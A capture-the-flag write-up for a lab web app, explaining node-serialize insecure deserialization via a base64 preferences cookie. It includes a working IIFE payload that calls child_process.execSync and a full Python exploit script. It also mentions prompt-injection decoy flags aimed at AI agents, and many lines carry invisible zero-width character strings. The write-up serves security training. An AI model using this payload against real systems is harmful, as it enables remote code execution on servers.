← Back to Writeups
CUSTOMMediumWeb

Lab 63 — DataPulse — Insecure Deserialization via Preferences Cookie

XESXOR9/10/20264 min read
#web#custom#medium#command_execution_via_child_pr#cookie_tampering_base64_encode#honeypot_flag_identification#nd_func_function_injection#node_serialize_unserialize_iif#cve-2017-5941#linux

Lab 63 — DataPulse — Insecure Deserialization via Preferences Cookie

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-11 | Status: Solved Techniques: command_execution_via_child_process_execsync, cookie_tampering_base64_encoded_payload, honeypot_flag_identification, nd_func_function_injection, node_serialize_unserialize_iife

Summary

Task: DataPulse analytics dashboard with workspace preferences persisted in a base64-encoded cookie that is deserialized server-side using node-serialize's unserialize(). Solution: Inject $$ND_FUNC$$ IIFE payload into the preferences cookie to achieve RCE via child_process.execSync, reading /root/flag.txt.

Lab 63 — DataPulse — Insecure Deserialization via Preferences Cookie — HackAdvisor

Description

DataPulse is a real-time analytics dashboard built by Meridian Labs for monitoring business metrics. The platform lets teams create custom dashboards, generate reports, manage integrations with data sources, and collaborate across departments. Users can personalize their workspace through the settings panel, choosing a preferred theme, language, timezone, and notification settings. These preferences persist across sessions.

Your goal is to find and exploit a vulnerability in the application that allows you to read the flag located at /root/flag.txt on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express analytics dashboard where user workspace preferences (theme, language, timezone, notifications) are stored in a base64-encoded cookie. The server deserializes this cookie using the vulnerable node-serialize npm package, which supports Immediately Invoked Function Expressions (IIFEs) via the _$$ND_FUNC$$_ prefix — leading to arbitrary code execution.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Technology stack identification:

    • X-Powered-By: Express response header → Node.js/Express backend
    • connect.sid session cookie → Express session middleware ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Cookie discovery: After logging in with user@test.com / password123, the server sets two cookies:

    • connect.sid — standard Express session cookie
    • preferences — base64-encoded JSON containing user workspace preferences
  3. Decoding the preferences cookie reveals plain JSON:

    json
    {"theme":"light","language":"en","timezone":"UTC","notifications":true}
  4. Settings page at /settings has a "Workspace Preferences" form that lets users change theme, language, timezone, and notifications. These are persisted via the preferences cookie and rendered back into the page. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Decoy flags: The application contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements on error pages — prompt injection honeypots designed to trick automated scanners and AI agents.

Vulnerability: node-serialize Insecure Deserialization (CVE-2017-5941 pattern)

The server uses the node-serialize npm package to deserialize the preferences cookie. The node-serialize library's unserialize() function supports serialized JavaScript functions via the _$$ND_FUNC$$_ prefix marker. When a serialized value contains this prefix followed by a function definition with trailing () (making it an IIFE — Immediately Invoked Function Expression), the function is reconstructed and executed immediately during deserialization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack chain:

  1. User sets a malicious preferences cookie containing a _$$ND_FUNC$$_ IIFE payload
  2. On any authenticated page load, the server reads and base64-decodes the preferences cookie
  3. The decoded JSON string is passed to node-serialize.unserialize()
  4. unserialize() encounters the _$$ND_FUNC$$_ prefix and reconstructs the function
  5. The trailing () causes immediate execution (IIFE pattern)
  6. Arbitrary code runs with server privileges

Why this works: The node-serialize library was designed to serialize/deserialize JavaScript objects including functions. The _$$ND_FUNC$$_ prefix is its internal marker for serialized functions. When combined with () at the end, the deserialized function becomes an IIFE that executes during the unserialize() call — before any application-level validation can occur. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate and obtain session

bash
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123'

Step 2: Craft the malicious preferences cookie

The payload injects a function into the theme field that uses child_process.execSync to read /root/flag.txt:

json
{"theme": "_$$ND_FUNC$$_function(){var exec=require(\"child_process\").execSync;return exec(\"cat /root/flag.txt\").toString()}()"}

Key elements:

  • _$$ND_FUNC$$_ — tells node-serialize this value is a serialized function
  • function(){...} — the function body with require("child_process").execSync("cat /root/flag.txt")
  • () at the end — makes it an IIFE, triggering immediate execution during deserialization
  • The return value replaces the theme field, so the flag appears where the theme value would normally be rendered ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This JSON is then base64-encoded and set as the preferences cookie.

Step 3: Full Python exploit

python
#!/usr/bin/env python3
import requests
import base64
import json

url = "https://99c6f027-1563-46ed-b044-791da96092a1.labs.hackadvisor.io"

# Step 1: Login to get session
s = requests.Session()
s.post(f"{url}/login",
       data={"email": "user@test.com", "password": "password123"},
       allow_redirects=False)

# Step 2: Craft node-serialize IIFE payload
payload = json.dumps({
    "theme": '_$$ND_FUNC$$_function(){var exec=require("child_process").execSync;return exec("cat /root/flag.txt").toString()}()'
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Base64 encode and set as preferences cookie
encoded = base64.b64encode(payload.encode()).decode()
s.cookies.set("preferences", encoded,
              domain="99c6f027-1563-46ed-b044-791da96092a1.labs.hackadvisor.io")

# Step 4: Trigger deserialization by visiting any authenticated page
r = s.get(f"{url}/dashboard")
print(r.text)
# Flag appears rendered in the page where the theme value would normally be

Step 4: Result

The server deserializes the malicious cookie, executes the IIFE, and the flag content appears rendered in the page where the theme value would normally be displayed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍